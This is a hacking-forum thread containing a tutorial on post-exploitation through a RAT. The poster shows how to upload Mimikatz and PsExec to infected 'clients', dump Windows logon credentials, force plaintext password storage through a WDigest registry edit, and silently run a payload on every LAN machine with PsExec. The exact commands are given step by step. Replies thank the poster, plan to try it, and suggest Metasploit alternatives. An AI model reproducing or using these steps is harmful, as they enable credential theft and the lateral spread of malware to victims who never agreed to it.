[Qismon]

Hello everyone wanted to share something very basic that for whatever reason I have not seen shared here. Hopefully you find it useful :)

Needed Materials:

1: Your RAT of choice that has Remote Command Prompt Capability
2: MimiKatz.exe (Download Link Below)
3: PsExec.exe (Download Link Below)

MimiKatz Download
https://github.com/gentilkiwi/mimikatz/r..._trunk.zip

PsExec Download
https://download.sysinternals.com/files/PSTools.zip

## STEP 1 ## (Upload Needed Files to Client)
Open the Remote Command Prompt function on any of your clients and verify the location/path (Example: C:\Users\admin) and upload these 3 items to the SAME location/path.
Do not execute any of the files yet, ONLY UPLOAD to same location/path as your command prompt.

- MimiKatz.exe
- PsExec.exe or PsExec64.exe (This depends if your client has 32Bit or 64Bit OS)
- Your Payload (For examples sake we will call it payload.exe)

(VERIFY STEP 1)
After all needed files are in the same location/path you can simply check by typing "dir" without parenthesis in the command prompt.
If you see all the files you uploaded then you are ready to move on.


## STEP 2 ## (Extract Windows Logon Credentials with MimiKatz)
In the command prompt of your client type the following commands:

C:\> mimikatz.exe privilege::debug
(This should return a message saying: Privilege '20' OK)

C:\> sekurlsa::logonpasswords
(This will return a huge list of Usernames/Domains/NTLM/SHA1/Passwords)

C:\> exit
(This will exit the MimiKatz terminal)
*******************NOTE*******************
If no passswords are shown this is usually because login passwords are not being saved in
plain text format, no worries! A simple Regedit can fix that. If you run into this problem then enter
the following command:

C:\> reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
(The user needs to simply logout or restart the PC for this to take effect.)

Now repeat the first part of "STEP 2" and all should be back on track now. ******************************************

## STEP 3 ##
Now that we have all the login creds for the client we will now use PsExec to upload our payload.exe and execute it on other LAN
PC's that share the same password by typing ONE of the following commands:

C:\> PsExec.exe \\* -c payload.exe -accepteula
(This is used as a wildcard, it will enumerate all LAN connected PC's and attempt to execute the payload.exe remotely using
the same creds that are used on said client.)

C:\> PsExec.exe \\PCNAME -c payload.exe -u username -p password -accepteula
(This command is used to specify a certain PC name/Username/Password)

IMPORTANT NOTE: Always use the -accepteula argument at the end so you run silent without any pop ups.

[overtake]

Use caution people. No virus scan provided. My anti-virus didn't like those files.

[yotoprules]

Use caution people. No virus scan provided. My anti-virus didn't like those files.

My brain didn't like this comment. Its malicious, of course its detected. Use in a VM or spare PC of you are scared.

[skidhackz]

Does it need a restart after you add the reg key?

[Qismon]

Use caution people. No virus scan provided. My anti-virus didn't like those files.

The download links are from their official page! Yes they are both detected as a virus by some AV's.

Does it need a restart after you add the reg key?

Restart or just close the session and it will take effect. Remember this works best on PC's that are joined in a domain because many IT administrators will use the same password.

[Fantom4242]

Use caution people. No virus scan provided. My anti-virus didn't like those files.

If you are too afraid of being infected, use DeepFreeze on a computer, which doesn't store any important information.

[fannas1]

Interesting thank you for sharing.

[Armada]

MimiKatz Download
https://github.com/gentilkiwi/mimikatz/r..._trunk.zip

Holy hell did my system ever go crazy with this file.
Had to disable security just to obtain it and check, but yes, this is a clean source and files fine, AVs just dont like it due to what it does.

Thanks for the Tutorial OP. 🤝

[DarkMove]

Actually you can do all of that with meterpreter from metasploit, as far pivoting and using SMB to execute commands you don't have to use psExec (but I prefer to use it) MSF comes with modules allow you to take control if you get the credentials

IMO it is really big area to study and practice

Thanks for the tut, keep it up

Regards

[EPS Tech]

Op sorry to ask. Can it be executed directly using Hidden rdp feature instead of uploading files and using comand prompts?

[Qismon]

Op sorry to ask. Can it be executed directly using Hidden rdp feature instead of uploading files and using comand prompts?

Of course! I have a zipped folder with all the needed material in it for rapid Post Exploit deployment that I use that way a lot.

[EPS Tech]

Of course! I have a zipped folder with all the needed material in it for rapid Post Exploit deployment that I use that way a lot.

OK, thankx. Will try it out.

[Reptile-Ermac]

thanks for this amazing tutorial OP . Gonna try this right now 🤝

[zLuke]

Use caution people. No virus scan provided. My anti-virus didn't like those files.

autism user

[BlueDarts]

Nice tutorial . But , will check the reviews before checking it out 🤝